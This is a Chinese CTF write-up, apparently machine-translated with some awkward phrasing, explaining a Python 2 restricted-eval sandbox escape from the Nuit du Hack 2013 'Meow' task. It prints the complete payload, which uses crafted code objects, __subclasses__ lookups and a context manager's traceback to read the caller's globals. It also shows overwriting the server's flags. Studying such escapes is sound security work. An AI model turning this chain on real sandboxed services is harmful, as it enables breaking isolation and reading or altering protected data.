Nuit du Hack CTF 2013排位赛昨天举行,像往常一样,在几篇博文中,我将向您介绍该CTF的有趣任务和/或解决方案。如果您想了解更多,我的w4kfu队友也应该在不久后发布在他的博客上。
TL; DR:
auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())
其中一项任务称为“ Meow”,它为我们提供了使用Python的远程受限外壳程序,其中大部分内置模块均被禁用:
{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}
有几个功能可用,分别
kitty()
是以ASCII输出猫图像和的功能auth(password)
。我以为我们需要绕过身份验证并找到密码。不幸的是,我们的Python命令以eval
表达式模式传递,这意味着我们不能使用任何运算符:没有赋值运算符,没有打印,没有函数/类定义等。情况变得更加复杂。我们将不得不使用Python魔术(我保证在这篇文章中会有很多)。
起初,我以为我
auth
只是将密码与常量字符串进行比较。在这种情况下,我可以使用以__eq__
始终返回的方式修改的自定义对象True
...但是,您不能仅采用并创建这样的对象。我们不能通过class定义自己的类Foo
,因为我们不能修改已经存在的对象(没有分配)。这就是Python的魔力开始的地方:我们可以直接实例化一个类型对象以创建一个类对象,然后实例化该类对象。这是完成的过程:
type('MyClass', (), {'__eq__': lambda self: True})
但是,我们不能在这里使用类型,它不是在内置模块中定义的。我们可以使用另一种技巧:每个Python对象都有一个属性
__class__
,该属性为我们提供了对象的类型。例如,‘’.__class__
this str
。但是更有趣的str.__class__
是:类型。这样我们就可以''.__class__.__class__
用来创建一个新的类型。
不幸的是,该函数
auth
不仅将我们的对象与字符串进行比较。她对此进行了许多其他操作:将其拆分为14个字符,经过长度len()
并reduce
以奇怪的lambda进行调用。没有代码,很难弄清楚如何使对象表现出功能所需的方式,而且我不喜欢猜测。需要更多的魔法!
让我们添加代码对象。实际上,Python中的函数也是由代码对象和它们的全局变量捕获组成的对象。代码对象包含此函数的字节码和它引用的常量对象,一些字符串,名称和其他元数据(参数数,本地对象数,堆栈大小,将字节码映射到行号)。您可以使用获取功能代码对象
myfunc.func_code
。这restricted
在Python解释器模式中是禁止的,因此我们看不到函数代码auth
。但是,我们可以创建自己的函数,就像创建自己的类型一样!
您可能会问,当我们已经有了lambda时,为什么要使用代码对象创建函数?很简单:lambda不能包含运算符。并且可以随机生成函数!例如,我们可以创建一个函数,将其参数输出到
stdout
:
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
(), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42
但是,这里存在一个小问题:为了获取代码对象的类型,您需要访问受
func_code
限制的attribute 。幸运的是,我们可以使用更多的Python魔术来查找我们的类型,而无需访问禁止的属性。
在Python中,类型对象具有一个属性
__bases__
,该属性返回其所有基类的列表。它还具有一种方法__subclasses__
,该方法返回从其继承的所有类型的列表。如果我们使用__bases__
随机类型,则可以到达对象类型层次结构的顶部,然后读取对象的子类以获取解释器中定义的所有类型的列表:
>>> len(().__class__.__bases__[0].__subclasses__())
81
然后,我们可以使用此列表查找我们的类型
function
和code
:
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'code'][0]
<type 'code'>
现在我们可以构建所需的任何功能,该怎么办?我们可以直接访问无限的内联文件:我们创建的功能仍在
restricted
-environment中执行。我们可以得到一个非隔离的函数:该函数auth
在__len__
作为参数传递的对象上调用一个方法。但是,这还不足以摆脱沙箱:我们的全局变量仍然相同,例如,我们无法导入模块。我试图查看所有可以访问的类__subclasses__
看看是否可以通过它获得有用模块的链接,但无济于事。仅通过反应堆调用我们创建的功能之一是不够的。我们可以尝试获取一个回溯对象,并使用它查看调用方的堆栈框架,但是获取回溯对象的唯一简单方法是通过模块inspect
或sys
无法导入。当我偶然发现了这个问题之后,我转向了其他人,睡了很多觉,并找到了正确的解决方案!
实际上,还有另一种无需使用Python即可在Python标准库中获取回溯对象的方法
context manager
。它们是Python 2.6的一项新功能,允许在Python中进行一种面向对象的作用域:
class CtxMan:
def __enter__(self):
print 'Enter'
def __exit__(self, exc_type, exc_val, exc_tb):
print 'Exit:', exc_type, exc_val, exc_tb
with CtxMan():
print 'Inside'
error
# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
<traceback object at 0x7f1a46ac66c8>
我们可以创建一个对象
context manager
,该对象将使用传入的追溯对象__exit__
向沙盒外部的调用函数显示全局变量。为此,我们使用了所有先前技巧的组合。我们创建一个匿名类型,它定义__enter__
一个简单的lambda和 __exit__
一个lambda,该lambda引用我们在跟踪中想要的东西,并将其传递给我们的输出lambda(请记住,我们不能使用运算符):
''.__class__.__class__('haxx', (),
{'__enter__': lambda self: None,
'__exit__': lambda self, *a:
(lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
(None,), (), ('s',), 'stdin', 'f',
1, ''), {})
)(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
if x.__name__ == n][0])
(a[2].tb_frame.f_back.f_back.f_globals)})()
我们需要更深入地挖掘!现在,我们需要在一个函数中使用此函数
context manager
(我们将ctx
在以下代码段中调用该函数),该函数将有意在块中引发错误with
:
def f(self):
with ctx:
raise 42
然后,我们将其
f
作为__len__
创建的对象,并将其传递给函数auth
:
auth(''.__class__.__class__('haxx2', (), {
'__getitem__': lambda *a: '',
'__len__': f
})())
让我们回到文章的开头,记住“真正的”内联代码。在服务器上运行时,这将导致Python解释器运行我们的函数
f
,遍历创建的函数,该函数context manager
__exit__
将访问我们的调用方法的全局变量,其中有两个有趣的值:
'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'
两个标志?事实证明,同一服务用于两个背对背任务。双杀!
要获得访问全局变量的更多乐趣,我们可以做的不仅仅是阅读:我们可以更改标志!使用这些
f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })
标志将更改,直到下一个服务器重新启动。显然,组织者没有对此进行计划。
无论如何,我仍然不知道我们应该如何以正常方式解决此问题,但是我认为,这样一种通用解决方案是向读者介绍Python的黑魔法的好方法。仔细使用它,很容易迫使Python对生成的代码对象进行分段(使用Python解释器并通过生成的字节码运行x86 Shellcode留给读者)。感谢Nuit du Hack的组织者完成了一项艰巨的任务。